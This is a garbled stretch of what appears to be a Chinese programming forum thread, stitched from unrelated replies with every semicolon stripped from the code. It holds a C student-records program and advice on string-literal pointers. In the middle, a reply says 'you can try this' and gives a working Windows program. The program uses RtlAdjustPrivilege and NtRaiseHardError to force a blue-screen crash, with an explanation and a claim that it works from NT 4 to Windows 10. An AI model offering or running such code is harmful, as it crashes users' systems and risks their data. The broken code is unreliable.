/*
Please input info of 3 students:
num name score1 score2 score3
student1:69587 poti 96 85 74
student2:45698 loag 89 78 97
student3:96850 armi 85 76 94
Press any key to continue
*/
#include <stdio.h>#include <stdlib.h>
#define N 3
struct student {
long int num
char name[10]
int score1
int score2
int score3
float average
}
void Input(struct student *std)
void Save(struct student *std)
int main(void) {
struct student std[N]
Input(std)
Save(std)
return 0
}
void Input(struct student *std) {
int i
printf("\nPlease input info of %d students:\nnum name score1 score2 score3\n",N)
for(i = 0i < Ni++) {
printf("student%d:",i + 1)
scanf("%ld %s %d %d %d",&std[i].num,std[i].name,&std[i].score1,&std[i].score2,&std[i].score3)
std[i].average = ((float)std[i].score1 + std[i].score2 + std[i].score3)/3
}
}
void Save(struct student *std) {
FILE *fp
int i
if((fp = fopen("student.dat","wb")) == NULL) {
printf("cannot open file\n")
exit(1)
}
for(i = 0i < 3i++) {
if(fwrite(&std[i],sizeof(struct student),1,fp) != 1) {
printf("file write error\n")
}
}
fclose(fp)
}
你可以试一下这个
#include <Windows.h>int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR ipCmdLine, int nCmdShow){
HMODULE ntdll = LoadLibrary("ntdll.dll")
FARPROC RtlAdjPriv=GetProcAddress(ntdll,"RtlAdjustPrivilege")
FARPROC NtRaiseHardErr=GetProcAddress(ntdll,"NtRaiseHardError")
unsigned char ErrKill
long unsigned int HDErr
((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjPriv)(0x13,true,false,&ErrKill)
((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardErr)(0xc0000233,0,0,0,6, &HDErr)
}
原理:用远过程函数 RtlAdjustPrivilege 获取关机权限,然后远过程函数 NtRaiseHardError 制造蓝屏。(这是一个兼容性很强的程序, x86 版的程序上至 Windows 10 ,下至 Windows NT 4 都可以蓝屏)
。。。你申请的是一个字符指针char *a="I am a teacher!"
char *string="You are a student."
这样初始化的话,指针会指向一片静态区域。是不能通过指针对其进行操作的。
你可以重新申请个字符串数组然后这样初始化,然后用指针指向这个数组名。
楼下不懂不要乱说,函数声明是可以写在main里的,只是作用范围不一样。
函数本身就可以没有返回值,但不代表函数无效= =。
传给printf的是两个字符串指针,%s本身就得传指针,什么时候你见过指针需要显示的。。。